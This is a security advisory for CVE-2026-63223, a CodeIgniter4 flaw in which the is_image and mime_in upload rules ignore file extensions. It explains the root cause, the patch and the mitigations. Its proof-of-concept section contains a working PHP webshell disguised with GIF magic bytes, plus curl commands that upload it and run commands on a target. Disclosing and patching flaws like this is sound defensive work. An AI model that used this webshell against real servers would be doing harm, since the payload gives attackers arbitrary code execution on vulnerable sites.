critical · 9.8CVE-2026-63223Aug 7, 2026

CVE-2026-63223: CodeIgniter4 Uploaded File Extension Validation Bypass in is_image and mime_in Rules

Pranav Khune
Penetration Testing Team Lead, SecureLayer7

CodeIgniter4's is_image and mime_in upload validation rules checked only file content, not the client-supplied filename extension, letting an attacker sneak a PHP webshell past validation by…

Packagecodeigniter4/framework
Ecosystemcomposer
Affected< 4.7.4
Fixed in4.7.4
CVE-2026-63223: CodeIgniter4 Uploaded File Extension Validation Bypass in is_image and mime_in Rules

The problem

In CodeIgniter4 versions before 4.7.4, the is_image and mime_in file-upload validation rules evaluated only the content-derived MIME type, ignoring the client-supplied filename extension entirely.

An attacker could upload a file named shell.php that begins with GIF magic bytes. The MIME sniffer sees image/gif and both rules pass. If the application saves the file using the original client filename inside a web-accessible directory where PHP execution is enabled, the attacker can then GET /uploads/shell.php and run arbitrary server-side code.

Proof of concept

A working proof-of-concept for CVE-2026-63223 in codeigniter4/framework, with the exact payload below.

bash
# 1. Build the malicious file: GIF89a magic bytes + PHP webshell
printf 'GIF89a<?php system($_GET["cmd"]); ?>' > shell.php

# 2. Upload it to a vulnerable endpoint that uses is_image or mime_in
#    (no ext_in check, no random rename, uploads stored in public/uploads/)
curl -s -X POST https://target.example.com/upload \
  -F "userfile=@shell.php;type=image/gif"

# 3. Trigger the webshell
curl 'https://target.example.com/uploads/shell.php?cmd=id'

The root cause (CWE-434) is that is_image and mime_in both called getClientMimeType() / guessExtensionFromType() to classify the upload, but never inspected getClientExtension(). Prepending GIF89a satisfies PHP's getimagesize() and the MIME sniffer, so both rules returned true despite the .php extension.

The patch at commit b6e9a4fa adds an explicit extension check in FileRules.php: is_image now rejects any upload whose non-empty client extension is not a known image extension, and mime_in now rejects any upload whose client extension does not agree with the detected MIME type.

Files with no extension (browser Blob uploads) are still accepted, since only the content is relevant there.

The identical bypass pattern was also found in the ext_in rule (CVE-2026-48062), fixed in the same release.

The fix

Upgrade to codeigniter4/framework v4.7.4 or later. If an immediate upgrade is not possible: store uploads outside the web root (e.g. writable/uploads/), use $file->store() or $file->move($path, $file->getRandomName()) instead of preserving the original client filename, disable PHP script execution in any public upload directory via .htaccess or server config, or manually check getClientExtension() against an allowlist before moving the file.

Reported by @z3moo and @teebow1e.

References: [1][2][3][4][5]

Related research